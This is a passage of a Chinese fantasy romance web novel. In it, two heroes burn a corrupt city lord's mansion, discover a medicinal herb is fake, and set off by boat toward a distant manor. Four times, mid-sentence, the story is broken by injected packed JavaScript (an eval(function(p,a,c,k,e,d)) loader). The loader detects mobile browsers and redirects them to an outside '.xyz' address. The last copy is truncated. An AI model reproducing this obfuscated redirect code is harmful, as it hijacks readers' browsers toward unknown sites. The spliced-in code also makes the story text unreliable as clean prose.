“剑道有灵,这灵会护着熟知之人,必不会伤其身。” 师父看着他拔了剑鞘,挥舞在竹林间,不由得莞尔一笑道:“有缘之时即可,名字是最重要的,切不可随意。” 于是,就一直等到师父离开。 师父走时是一个夜晚。他说该上路了,打趣道去云游四方,却只字不提心之所向。沈厌自然去询问,师父却说,天机不可泄露。 时候到了,要去做该做的事。他说不要来寻他,自此,便再无音讯。 那晚月色皎皎,沈厌在竹林,在师父面前舞了最后一剑。白银般月光似流水地倾洒,剑气带着沈厌长久以来的压抑恼火,竹林声茂茂,风起阵阵,他挥舞的架势,像是要将那流淌的“水”斩断。 于是沈厌起名,叫碎月。 碎月剑,岁月间。 自那天起,剑有了名字。他亦在悠久岁月里,在这难熬的岁月里,终于有了能陪伴他的物什,哪怕只是一把不会说话的剑。 …… “上方何人?” 傀在下路叫喊,水一盆一盆泼,乱成无厘头的麻线。慕枝砚迎着风喊:“你也配知道我名字?通缉令上不是写得清楚吗?” “通缉令?” “她是那个偷盗城主宝物的人!” “抓住她!快!” 傀自乱阵脚,在下方,叫嚷的叫嚷,搭架子的搭架子。刚爬上去的傀,被屋檐上两人丢了火把踹下去,从高檐上坠下。 “去叫你们城主来,要想保住他这点破烂玩意,就亲自上来!” 慕枝砚高喊,喊过后转身,对着沈厌问:“你怕吗?” “怕什么?” 她火都敢放。 “走是走不掉了,不然我也不会点火放肆这么一把。”慕枝砚说,“我问你,怕不怕找不到长生草,怕不怕走不出楚云间。” “有什么可怕的。”沈厌道,“不足畏惧。” “好啊。” 傀连滚带爬去通风报信,慕枝砚在高处看得清楚,笑道:“早知如此,方才就不跑了,这样面子上还好看点。等下可要大战一场,你且等着就是了。” 这人短短一瞬间变化这样大,从一个慌张落逃的变成主导放火的。沈厌看着她的笑脸,问:“那你呢?你怕不怕?” “我又有什么可怕的。” 面对着烈火,她想说的其实有很多。 比如她从来不是什么正经神仙,比如缘灵最初就是在人间大乱中诞生的,比如她有亲朋好友,有世间大爱,那就所向披靡。 只可惜这些话她不能对着沈厌说。 慕枝砚沉吟不语,而后才再次对上他的眼睛,认真道:“他们为我上通缉令,我虽然记不清过往,却也知晓自己并不是十恶不赦的罪人。” “这城主所行,你都看在眼里,自不必我多言。我为人处事一向不在意名节,若是所做之事,是为了楚云间的芸芸众生,那背负骂名又何妨。” “即使天下人都不懂?” 哪怕世人唾骂,追杀,也无所在意吗?沈厌从未想过,他阴差阳错结识的姑娘,今日竟有此言行。 美名如何,骂名又如何。 人活一载本就不易,相识从来不是在旁人言语中。人不是为了旁人活着。 她笑着点头,轻声道:“即使天下人都不懂。” 毕竟,人也不是只有活着才是活着。 ** 郑城主在府邸内准备泉浴,衣裳都褪去了,只听闻外头吵嚷,派下人去看,却走进来报信的傀。 黑衣傀语无伦次,郑伦将衣裳重新整理好,随他出去,才发现远远望去,便是火光道道如龙。 “你、你、你!”郑伦气得路都走不稳,“上头那两个,立即拿下!” “呦,主事的来了。” 慕枝砚向下看去。郑伦是个胖子,走路的功夫脸上都冒了汗,脚下不稳,还得下人扶着。他带来的人密密麻麻围了一院子,慕枝砚侧脸看向沈厌,只盼这人到时候和她配合,她可不想葬身楚云间。 不过,说起方才点火,她刚进小厨房点上,那人紧随其后就关门找利器,看上去倒是十足的默契。 郑伦在下面喊,慕枝砚道:“叫什么,吵死了。” “是你!”郑伦瞧见正脸,“上次的毒未发作?你还敢来我的府邸撒野!快快,即刻拿下!” 此言一出,慕枝砚才正眼看去。 毒? 慕枝砚想到地牢林外自己身痛。 她眼前飞速闪过地牢里姑娘们的哭泣,最小的那个被抓进来还在跪求;闪过楚云间长街上随处可见,裹着一袭破布就地而睡的人;闪过辛姑娘年迈寻女的父亲,年岁已高,望着空窗盼女归。 他们不是第一次做这样的勾当。或许一年,或许几年,那该有多少人因一己贪念而亡?有多少家庭支离破碎?究竟要到何时,真相才能大白于天下! 她似乎明白“自己”被冠上偷盗之名的原委。 是慕枝砚,是在人间的慕枝砚,与她同名同姓。不过一介凡人,凭借微弱身躯,企图为百姓谋得利益。 慕枝砚看向地面。画面一层层退去,眼前站着锦衣玉食,拿百姓血汗养出的好城主。终于看清了那张脸,慕枝砚轻蔑一笑,挑眉道:“是么?我倒是正在寻你。” 话刚落,顺着屋脊,慕枝砚快步滑下。落地的那一瞬间,慕枝砚跳到先前被她踹下的傀身侧,捡起他们逃走但未拾起的刀,径直向中心圈的城主劈去。 前方有人有傀去阻拦,无论多少,慕枝砚对准的都是中心圈的那个人。丢了法力,此刻她不是天上的缘灵,她就是人间的慕枝砚,一个为了穷人活命的、劫富济贫的、被挂通缉令终日追杀不见光的慕枝砚。她从众生中来,她也是众生之一。 “沈厌,你没吃饭吗!” 也不知道是气愤上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16414530|184692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,还是吃下去的那块饼来的力气,慕枝砚想着沈厌斧子的力度,抡起刀就砍去。身后的人有沈厌解决,她仍嫌不够,若是快一点,再快一点,地牢的姑娘就不会被抓,辛姑娘就不会被施太银针。 “你们果然认识!”郑伦躲躲闪闪,在人群后指着两人道。 “你还有命管那么多!”慕枝砚一刀劈一个,“郑伦,有本事先活过今晚再议论!” “你行事不端,还敢火烧府邸,大逆不道!” “听清楚了,我要活的,所有人听令!快去拿下!” 看缩在层层叠叠保护下的郑伦,慕枝砚笑容加深,丝毫不惧地迎上:“我都敢烧了这里,还怕你区区的大逆不道?” 她字字咬得清晰:“郑伦,郑城主,天道有灵,公道自在人心!” 私库里的金银珠宝,他身上穿戴的锦衣,哪一样不是出自楚云间百姓,可知天下有多少人是流落街头吃不饱饭的,偏偏这府邸夜夜笙歌! 谁叫他行太银针?是谁教的他取活人血? 举刀抡棍,有腿打腿,有手打手,慕枝砚打斗没有逻辑性,根本就是凭着怒火而上,拼了命的、劈头盖脸的一顿砸。 心中所想越发激愤,慕枝砚打过去一路,人傀也越多。叫喊打斗中,不知何处闪过一道寒光—— “沈厌!” 慕枝砚自滑下屋檐后第一次向身后看去。那道寒光是对着沈厌去的,一把桃木剑,正对着沈厌脸上凌冽而去! 糟了,他眼睛不好! 怎么这样放心他在后面!慕枝砚一刀挑开扑上来的傀,身体向桃木剑方向倾去。 寒光乍现,剑尖未落在沈厌的面具上,而是擦过慕枝砚的肩膀。 “嘶......” 肩膀处惊现一道血痕。 慕枝砚错愕。 上次长剑刺向身体都没有半点知觉,这次为何这样痛,还留下了伤痕?要不是上次知道长生草会保佑,慕枝砚怎么会在郑府如此,更别提毫不犹豫上前挡剑! 这长生草还有期限? ...... 桃木剑随后一转,从肩膀处滑向沈厌衣角。沈厌错身,腰间所系荷包掉落。 慕枝砚顺手一接,但见划开的包内是满满的符纸。 “你有符纸不早说!” 肩膀上痛死了,慕枝砚气得跺脚,没劲骂他。 没有法力是一回事,有符纸是另一回事! 她会画符啊! “我一早准备下的。”沈厌答道。 他头微偏,似是看慕枝砚的伤,然后将她往自己身后一揽。 “不然,怎么引出大鱼呢。” 慕枝砚踢他一脚:“所以一开始你就不是打不过?你不早说,我刚才拼命去打。” 沈厌无辜:“你上的太快了。” 慕枝砚:“......” 他从荷包里取出两张符纸。黄色符纸正统,朱砂纸驱邪,一式一张,掐在手指间。 和慕枝砚闹了一整晚,沈厌的头发也乱下来。 发带在风里飞,符纸在手中握。 沈厌掐着符纸,目光凌厉,扫过人群问道:“我的剑呢?” 9. 通缉令(6) “我的剑呢?” 那道声音不带温情,在寒风中尤显凉意。 微微颔首,那身长袍衬得他身形俊朗。手指中的符纸随风轻颤,沈厌另一只手,持着方才打败的傀手里的剑,剑光对向眼前众人。 檐上月照得那人影卓然而立,丝毫不见一炷香前逃亡的慌张。明明戴着面具,看不见他的神情,在场人却无一不被他身边气场所惊。 “郑伦。” 沈厌冷冷叫道:“我再问一遍,我的剑呢。” 郑伦心颤,哆哆嗦嗦答:“我怎知!身为掌判官,你竟和这通缉令上的女子混在一起,枉费对你的信任!” 在身侧认真听的慕枝砚心头一动,指着郑伦道:“沈厌,他们做傀就是和鬼市私下牵连!地牢里的那些人都是这狗城主的傀料!” 她猜到地牢和鬼市有所牵连,在来之前,慕枝砚并未怀疑过楚云间。当她见过郑城主府邸中的一切,立即就猜到了,如今听郑伦这蠢货亲口承认,慕枝砚的火可算找到出气目标。 她伸手道:“给我朱砂,剑你去找,人我要亲自处理。” 朱砂符比起普通黄符纸威力还要大。沈厌浅浅看她一眼,似乎有所考量,最终还是什么都没说,将所有的朱砂符都交付在慕枝砚手上。 “得先找剑。”沈厌握着黄符,“我可不希望你拆了郑府之后,我的剑被打碎。” “知道了,你快点去找。我等不及了。” 两人你一句我一句,赫然把郑府当做囊中之物。郑伦见状嚷道:“你们以为郑府是想来就来,想走就走的?” 四面八方的傀围堵上来,沈厌只不屑嗤笑,抽出一张黄符。 “天地无极,万境追踪。” 沈厌举起剑,剑尖侧对自己,将黄符纸贴在剑刃上,闭上眼睛。纸上的黑色纹路慢慢显出光亮,随后浮在空中。 “他真会画符!” “他怎么会通符!” 世间有行,天地有灵。 除去像掌判官这样,额外获得法力的,凡人最好的修炼方式就是铸法器、画法符。当法器、法符运用时,叫做开器与通符,平常人只能称作铸与画,根本不会运用。若是有天资的,只要能用上这些外物的几分法力,就算是大有所成了。 可是......沈厌这模样哪里是只会几分? 黑色的纹路早已经飞到空中了,这分明是能使全力啊! “我心无悔,我志长迈[1]。灵光现,万物生。” “真符所通,缘迹可寻;真符为引,听吾号令!” 沈厌骤然睁眼,那张符纸随着他睁眼的那一刻,迅速飞至空中。黄色符纸边是缠绕悬空的纹路,这一瞬间,似乎注入了新的力量,在空中旋转半圈,然后立即向地面扫荡而去! 长风狂啸,尘土飞扬。 不过片刻功夫,地面上的傀被符纸唤出的风吹得站不稳,重心向后偏。郑伦体量大,尚且脚步向后三步,身边人扶着才堪堪停住。 尘土卷起,风暴似长开利爪的初生猛兽。郑伦用袖子挡着眼睛。他想骂,漫天的飞沙让他嘴都张不开,等放下袖子睁眼时,只见身边傀倒下不少,剩余的护在他身边,神色惊恐。 “大人,他、他,他真会通符啊!” 沈厌扔了从傀手里夺来的剑。黄色符纸失去了效力,掉落后搭在那把剑上。 碎月,被抓住后搜刮收走的碎月,不知何时通过符令回到了沈厌手上! 剑出鞘,寒光仍在。沈厌对着剑光看自己的倒影,他看见同色的面具,莫名感觉,这双眼睛竟能看得真切些了。 “行了,该我了。” 看够了他出风头,一旁的慕枝砚忍不住了。 她可不像沈厌,说找剑真找剑。她是一定要给这些人教训的。 手攥五张朱砂符,慕枝砚的唇角久违地上扬起来,比刚才火烧郑府还要得意。 她做缘灵神的时候,最喜欢研究的就是这些奇奇怪怪的符纸咒术。当时还和仙友比试,被仙友嘲笑,都是做神仙的了,还钟意这些小玩意。如今想来,却是正正好好派上用场。 朱砂符,同样是黄色底,不同的是朱砂绘制纹路。 慕枝砚连多余的话都懒得说。她扫过郑伦,最后看上他一眼,笑着丢出五张朱砂符。 “灵符念,心火牵。” 以火起的头,就以火结束吧。 当晚,郑府大火连绵,久久不息,奇怪的是,这场大火烧了很久,却没有任何人能从其中走出,亦或是外面的人能迈进府中灭火。似是有一道无形的圈,正正好好拢在府院外,直到这一切不义之财烧得干干净净。 ** “不要碰我的肩膀好么,我这肩膀金贵得很。” 日光明朗,在酒坊二楼包厢,“咿咿呀呀”唱曲声里,传来慕枝砚的声音。 身边上点心的店小二忙道:“好好,女侠你慢用,有什么详情细节,等想起来了还望告知。” 慕枝砚忙着往嘴里塞玫瑰酥,哪有空说话,点个头招手,示意他“好的”。 小桌上,茶水、小食、糕点,应有尽有。沈厌坐在她身侧,只顾饮茶。等店小二出了门,他抿了口茶,问道:“你打算何时起身?” “你催什么。”慕枝砚正高兴着。 自郑伦的事告一段落,他的所作所为被揭穿,展现于世人前,楚云间众人议论纷纷。不知何处传出话本子,说是有江湖侠客施以仗义援手,他们这才得救。一开始,还只是在民间小巷流行,后来茶馆酒楼,家家都安排了说书先生,把那段故事说得有鼻子有眼的。 这家酒楼,更是不知何处得知慕枝砚两人的,忙接待着盼她多讲上些。这几日就单纯为了听说书先生,酒楼食客都多了足足两倍。今日正讲到“她愤然而起,指着那郑伦鼻子开口大骂”,慕枝砚在楼上听得开心,还剥了果壳,边吃边笑。 “啊,何时起身。” 她听够了,才想起来沈厌这一茬。长生草是找到了,那城主家大业大的,还差长生草么。火烧之前,慕枝砚可是把好东西留下来了。 唯独可惜的是,傀已成型,无力回天。慕枝砚回到牢房细看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16414531|184692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那中了太阴针的,的确是辛姑娘。其余的能识得的傀,慕枝砚两人尽量找到家人。辛姑娘的遗体他们交到了老人手上,辛父看了许久,含泪无言。 “还记得我说过什么吗?”慕枝砚道,“赔我衣服。而且,我还要很多很多的符。” 衣裳倒是次要,符纸是一定的。 长生草现在放在医馆,等起身取了,她可就和沈厌分道扬镳了。 如果没有意外,慕枝砚猜测,天道此番派她执行任务,估计就是郑伦的事。现下已经解决,顺利的话,她很快就能回天庭。 当然,以防万一么,符纸还是要的,她是必须买点来傍身,以求心安的。 “我这算给你做工了吧。”慕枝砚忽然道,“你去谁家找保镖,有我这么能打的。况且我说帮你找,那就是能找到。” 缘灵重诺,从不轻易许诺。 她在天庭应允的那些忙,可一个都不差地帮了。 她一直深信,“缘”这一字,本就是人为与天定相结合,相辅相成的。 慕枝砚心算着在人间给沈厌做工的日子,殊不知沈厌内心意向蹁跹。 他低头,心上竟涌上不明情绪。 在马车沉睡也好,不喝他倒的茶也好,甚至是煮汤时,那勺加错到他碗中的盐也好。他似乎,渐渐习惯了有人吵闹的日子。 沈厌看着腰间碎月。 他是个不善言辞的人,旁人说走,他从不挽留。因此到头来,陪伴他的,还是一把碎月,还是匆匆岁月。 “你的伤还好么。” “不碍事不碍事。若你一定要说的话,不妨结算的时候给我点工钱。” ...... 沈厌带着人在锦绣坊、绮罗铺、玲珑阁都走了一圈。 慕枝砚是真不亏待自己。 本着他留钱也不花的观念,慕枝砚在店铺内周转大半日,但凡是看上眼的全都要包起来。毕竟,从前她也对自己极好,什么漂亮的明艳的都往身上穿,首饰更是不吝啬。 “其实我还有疑问。”慕枝砚摸着料子,低声道,“楚云间与鬼市有染,郑伦虽除,鬼市却仍在。” 鬼市至少要在几百年后才消失。 楚云间没了,不代表鬼市不会继续做这类生意。慕枝砚见沈厌似在沉思,深深吸了口气,说:“无妨,我们先去取长生草,等你的眼睛好了再从长计议。” 只怕不止郑伦,她还要把鬼市一举灭了,才能回天庭。 两人到了药馆,叫取出存放的长生草。 这草药是夹杂在郑伦好物之中的。能医用的,慕枝砚尽数交给了医馆,在医馆登记单子上看见了长生草。 她在柜台前等人。 不愧是难寻的草药,小店将其装在长木盒中,谨慎至极。慕枝砚掀开一角,让沈厌看过,刚要离开,却听沈厌道:“不对。” 她转身,见沈厌将木盒打开,放在台前。 “长生草色偏青黄,而且下方必带长须,以沾泥土为新鲜,越新越好。” 沈厌断言:“这个,是假的。” 10. 渡残魂(1) 慕枝砚闻言上前。 “他说得可对?” 慕枝砚并不懂草药一类,可架不住沈厌语气实在笃定,她急忙问向掌柜。 医馆的掌柜听见后,立即放下手上事务,几步上前来观察。他掀开长盒,看见里面的草药,脸色瞬间大变,指着它吞吞吐吐道:“这、这......” “您只管说是不是真的?” 慕枝砚着急打断。这可是关系到她日后还要不要给沈厌做工啊! 那掌柜的重重叹口气,拱手道:“的确如这位公子所言。姑娘,这长生草,是假的呀。” “可惜,可惜。郑城主家中药物送往小店时,实在太忙,有些便顾及不上。” “至于像这样贵重的药物,我等并未开盒细查,只是想先存放在库房,打算日后再慢慢整理。谁曾想......” 掌柜哀声道:“谁曾想城主府邸出来的东西,会有假冒的呀!” 他话音还未落,视线从长生草转到两人身上。 “哎......姑娘,姑娘!” 两眼一闭,慕枝砚差点晕过去。 ** “这也不见得是坏事。” 楚云间长街,沈厌在买符纸。 符纸有效用,价格极高,按慕枝砚的原话说:“他怎么不去抢钱啊?” 店铺不大,各色符纸应有尽有。普通的黄符纸,朱砂符,驱邪用的,招魂用的,总之不管凡人能不能用出效果来,一律定了高价,按最好的成果卖。 因见识过慕枝砚会用朱砂符,沈厌买的大多都是朱砂符,其余则少买些,但也是各式都留了几张。 慕枝砚趴着歇息,无精打采。 是啊,她怎么会觉得这事顺利呢。听到沈厌说不是坏事,她不满地反问:“那什么算坏事?若你的眼睛不算,那你说什么算坏事?” 沈厌只以为她是执意想与自己分开,不成想竟还念着他的眼睛。他走回慕枝砚身边,手拂上面具,安抚道:“你先别急,听我慢慢说。” 他坐回慕枝砚身侧,仔细将这些天的变故都诉说了一遍。比如他莫名错失的记忆,比如眼睛突然的伤痛。 “我只是某一日发觉自己看不清,”他细细沉思,“但就是收回碎月的那日,我竟有一刹那恍惚,似乎,又能看清。只是,那不过存在一瞬间,我不敢妄言。” 慕枝砚未曾发言,只听过后,问:“你说你的记忆错乱?” “对。错乱到,我甚至记不得是从何时开始的。” “这不是巧了。”慕枝砚道,“我记得我醒过来就被你们抓了,身上疼得很,好像从很高很高的地方摔下来似的。你那个长生草,就是那时候进到我身体里的。” 她自然不能把天庭的那点事都说出来,于是便半真半假地诉说:“我虽记不得家里人,却有几个朋友,记忆错乱后连名字都记不清了,只有些往事碎片而已。” “我从前住的地方才叫漂亮。我养了鹦鹉,它聪明,会学说话。我还养了花,只要能开,还是很好看的。我只盼着能恢复记忆,早日回去。” 她思绪飞至天庭小院,手上摸着朱砂符纸。 “这符,最初还是位友人教我的,后来我感兴趣多加研究,那位友人姓甚名谁,我竟不知了。” 慕枝砚心上叹了气,很快就不再消极,起身道:“起来,给我买点东西。” “郑伦是要处置的,长生草我也是要找的。”她说,“楚云间没有就算了,天下这么大,总会有。你虽说能看清,也是片刻而已,万一那是你恍惚可怎么好?” “给我买把刀吧。” 慕枝砚沉吟,而后道:“别了,还是给我买匕首,小巧一点。路上若有争执,我刺了就是。” 沈厌:“……” …… 挑武器可比衣裳要麻烦多了。 连着走了几家店铺,慕枝砚都不满意,沈厌起初还帮她参考样式,后面干脆不说话了,左右她都不听,只等她看中,付钱就是。 慕枝砚的衣裳首饰都是看一眼就带走,但武器,她不仅问了,还要上手试。沈厌有些庆幸她几个时辰前买衣裳的模样。 “这些都不好。”慕枝砚道,“再换这家。” 她说着,迈步进去。 这新进来的一家似乎很合她的眼缘,慕枝砚随手拿剑,挽了个剑花,动作行云流水。展柜的聪明上道,立刻夸她好身手。 “你会用?” “我会用的多了。”慕枝砚笑着谢过掌柜,放下剑,往前走去看匕首。 沈厌不解:“既然会用剑,你为何执意要买匕首呢?” 这回,少见慕枝砚沉默。她好半天才抬头,扫过一店铺的刀剑戟枪,说道:“我从前是有的。” “你还记得我说过么,剑道有灵。它认我这个主人,我自然也不会舍弃它。匕首,用来护身;我那丢了的剑,用来记我。” 慕枝砚仰起脸。 除了她承诺长生草那时,沈厌从没见过她脸上这等神情。他不禁在这满店铺,一众铁光之间疑惑——慕枝砚,这是个怎样的姑娘? 她什么都不在意,什么都不放在心上。 通缉令都在楚云间传遍了,她还敢戴着面具,在郑府放火。 她说不怕骂名,她说扬善惩恶,那晚檐下月所映的不止沈厌一个。 慕枝砚,笔墨纸砚。寻常笔墨所书写的,又何止是人间杂事?她人如其名,所做所言,都应该流传千世的。 沈厌识趣,没有往下细问,她所说的剑,如今在何处。他深知对于行江湖者来说,剑的意义不同,更别提似他这般颠沛流离之人。 匕首也是很多的。 掌柜的见她方才的剑花,也不敢含糊应对,直接领着人取出一把深藏的来。 “姑娘,此名雪光刃,因拔出时所见寒光如雪得名。”掌柜道,“您瞧这上面,所镶的是玉蓝珠,世间罕见呐。” 慕枝砚见他取出雪光刃,眼睛立刻就亮了起来。她接过,看那雪光刃中央,镶嵌着一颗玉蓝珠,手指拂过有冰凉的触感。 “不错。”她笑道,“确是玉蓝珠。” 她爱闯祸,经常接仙友的任务下凡,因此人间大多好物她都识得。玉蓝珠,好东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16414532|184692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,雪光刃出,刺如冰霜。 “沈厌,给钱。” ** 若说长生草的下落,除去楚云间,慕枝砚一时还真不知道哪里能找到。 毕竟,现在是重昭……多少年来着?几百几千年前的事了,她哪里记得。 哎,这么一想,沈厌莫不是几百几千年前的人? 慕枝砚停止用芙蓉羹,望向沈厌。这人依旧那一身颜色,不晓得的,还以为他终日穿同样的衣裳。慕枝砚又看了自己,还好,是新衣裳。 既如此,那还管沈厌他是重昭几年的,反正用他的钱,吃人嘴短拿人手短。 她默默点头,听沈厌说:“我问过了,长生草所在地,不止楚云间一处。还有不渡山庄。” 慕枝砚蹙眉:“不渡山庄?那是什么地方。” 楚云间她倒是了解,一时间,她还真想不到不渡山庄。于是,慕枝砚等着沈厌解答。 “不渡山庄,世人言一渡二不渡。我是问医馆得知的。”沈厌道,“若要去的话,就是询问庄主,长生草何在。可能在山庄里,可能不在,但只要问了,庄主就会告知,我们也就能知道大致位置。” “这庄主这样厉害。” “是。不过我们去了,未必庄主得空见。他外出的话,我们或许要在山庄住上一段时日,你……” 沈厌打量慕枝砚的神色:“你要是想回去养花养鸟,我去即可。” “你胡说什么!” 慕枝砚恼了,芙蓉羹的汤匙落在碗边缘,发出“叮咚”声。 “你以为我那点东西是白要的?我自会跟着你,直到你眼睛彻底好起来。” 吃完了就走,把她慕枝砚当成什么人了。 她气着,见沈厌只蹦出个“好”字,更是气不打一处来。 慕枝砚挑了帘子外出。这正是那家酒楼,说书先生从大骂郑伦讲到“刀剑无眼,郑伦你可瞧好了”,底下听客大叫着鼓掌。慕枝砚叫人,声音都隐在掌声里,她只好招手示意,叫来了店小二,问他:“你听说过不渡山庄么。” “不渡......什么?” 店小二纳闷。 他手上捧着听客要的吃食,忙得不可开胶,走时还不忘添上一句:“女侠,明日讲正精彩的地方,哎呦火烧郑府啊,热闹得很!你可一定要来听啊!” “行行行。” 慕枝砚见他走远了,靠在二楼护栏上。 本就满腹愁怨,还被人质疑。慕枝砚听身后脚步声,沈厌走出包厢,来到近前。她听沈厌向她致歉,又说她想来的话就跟随。她要求了许多,沈厌竟一一应允。 慕枝砚这才回头望他。 那人就在一步远的位置,实在很近,好说话了许多。慕枝砚竟觉得像是欺负他了一样,但她素不吃亏,干脆得寸进尺道:“我说什么,你都能应吗?” 沈厌道:“只要我能做,定会尽力去做。” 她眼睛滴溜溜一转,盯着沈厌那张面具,一个念头由此心生。 “若我说,我想看你面具之下的样貌呢?” “你愿意让我瞧瞧么?” 11. 渡残魂(2) 慕枝砚盯着他。 这时候,沈厌才发现她的眼睛是真的很漂亮。 她看人时明明亮亮,轻轻一眨,落下一排长长密密的睫毛。她浅浅笑着,因此眼尾扬成月牙,带着一点尾钩。整张脸,面容也像春日里盛放的桃花。 春容若水,笑意含春。 沈厌看得久了,不免眨眼挪开目光。 台下听众再度鼓掌,一浪胜过一浪。 沈厌借着如潮的掌声吸气呼气。他微微垂下眼帘,低声说:“等到眼睛好的那天再看吧,那时也不迟。” ** 不渡山庄在远山之中,一路上,马车船只周转不停歇。 最后一段路途恰在水上。 沈厌买的一只船,他依旧不怎么说话,两人分坐船头船尾。慕枝砚起初有些晕船,现在已经好多了,坐在船上闲不住。她先是和船家闲聊,说够了又自己找玩的,很快就看上了碧色湖水。 因为她头晕,沈厌嘱咐了船家,不必行得太快。 小船慢摇,慕枝砚身体前倾,在无人看见的隐蔽处,偷偷伸手捞湖水。 湖水透澈,映出她的面貌。 虽说她现在是顶着人间“慕枝砚”的名号,容貌却还照旧,这是她觉得天庭做得最好的一点。 发髻上的蝴蝶饰是出发前那日买的,慕枝砚特意换上一身新的衣裳搭配。那是她很喜欢的水绿色,领口、袖口同色花纹点缀,花纹细细绣到身前。 楚云间的事落下帷幕,可见她气色都好多了。慕枝砚兴致满满地望着湖水,望着水面中的自己。她头上的蝴蝶首饰下坠流苏,加之珠玉耳环,显得整个人都温婉雅致。 她动了动头,看流苏在日光下摇曳。 可惜了,她不是那性子。 “呦,小娘子可坐稳。” 船家似乎背后长了眼睛,又或许是听见她那串首饰,叮叮咚咚地乱响。慕枝砚只好听话坐好,顺带着瞄了眼沈厌。沈厌难得换了件浅色的,还是今早她劝的。这时候他依着船边,望重重远山。 这人真无趣。 慕枝砚心里嘟囔着,不知不觉竟想到天庭上的仙友。 说来也奇怪,从前她从未记起过,这次却是在水上回想起来了。 她号单字一个“缘”,主管世间福禄情缘。而那人,同样号单字,唤作“若”,是主管世间风云变幻的。这人倒不是话少,只是慕枝砚很不喜欢他说话——多半没好事。 慕枝砚在天庭赋予“缘”号前,那位就已经有单字号了,可以说是在天庭有相当地位,谁见了都要恭恭敬敬,唤上一声“神君”“仙师”的。唯独她,第一日结识他时,是因为拎着从人间买的话本子,从他门前走过。因为太多太重,话本子掉在那若神君门外,零零碎碎洒了一路。 而后,这神君就似找茬一般,只要是见了她,开口说话必是她不爱听的。 偏偏,那人生得芝兰玉树,看上去正人君子一般。落在人间,只怕世人见了,还要称赞他一句“貌若谪仙”呢。 这样想着,慕枝砚又看了沈厌。 还好,声音不同,身量亦不同。更何况沈厌根本不爱说话,和那位比起来,还是沈厌好些。 沉默便沉默吧,慕枝砚想,总比气她强。只是,也太无聊了些。 小船过了湖心,慕枝砚眼尖,看见湖水下游荡的鱼。 有的极好看,全身是显眼的红色,在水波间来回舞着。日光照进来,湖面波光粼粼,小鱼尾巴袅袅舒开,于水间缭绕。 等她回去,还应该养鱼。 慕枝砚看住了,哪里还记得船家适才的劝告。她一手按着船边,弯着腰,另一只手就往水里去了。别说,这日头虽好,可水里还是清凉的。 她手指在湖水间轻拨,鱼尾经过她指尖,像是纤纤玉指也罩上了几层红纱,层层缕缕经久不散,美不胜收。 她在这边乐,蝴蝶流苏连同珠玉都齐齐晃动。等玩够了,慕枝砚收了手,从衣间取出帕子来,擦干净了手,去沈厌那里讨茶吃。 “玩够了?” 沈厌在船上看书,也不知看进去多少。 听这话的语气不像责备。这几日和他熟悉了,就算是责备,慕枝砚也不在意。她点点头,伸手捡了一块枣花饼,送到了口中。 “我告诉你一件喜事。” 她方才发现的,心情大好。 “谁的喜事?你怎能确定是喜事?” “你!” 慕枝砚塞了枣花饼,一口咬到内馅,吃着甜,才忍住没拍他。 “你闭嘴,听我说。”她说,“我会变戏法。” 戏法而已,怎么这样高兴。 沈厌放下手里的书。她既然说了,那肯定是不一样的,他等着慕枝砚变就是了。 那块饼吃过了,慕枝砚才故作高深,叫他闭上眼睛。 她对着沈厌的面具笑。 缘灵么,福禄情缘,世间有喜,她的法力就会上升。楚云间的郑伦被她处置,百姓自然有喜。在湖水间玩闹时,慕枝砚发觉自己居然可以用法力了,只不过,是最基础的“牵丝”。 牵丝,牵她缘灵神的红丝。 许久不用这法术了,慕枝砚平生第一次感到紧张。 她两手握在一起,说:“我变什么你看什么。” “嗯。” “不喜欢不许说出来。” “......嗯。” 红丝在双掌内游走,很快,那团看似混乱的红丝线化作花朵的形状。 “沈厌,睁眼睛。” 闻言,沈厌睁开眼睛。 除去收回碎月,这是他自得眼疾后,初次看清万物。 慕枝砚手心里,是一朵红丝做成的花。不能说上十分精致,可有了花朵的形状,那红色赤如火,他觉得,这花和心头应是一样的颜色。 沈厌接过来,放在自己手中,问:“这是什么花。” “桃花?” 他轻轻一笑:“那未免也太不像了。桃花不是粉色的么。” 慕枝砚撇嘴:“那你还给我呀。都说了,不喜欢不许说。” 她要抢回来,沈厌先一步攥紧了,说:“喜欢。我收着吧。” “当然了。”慕枝砚笑起来,“我做的东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 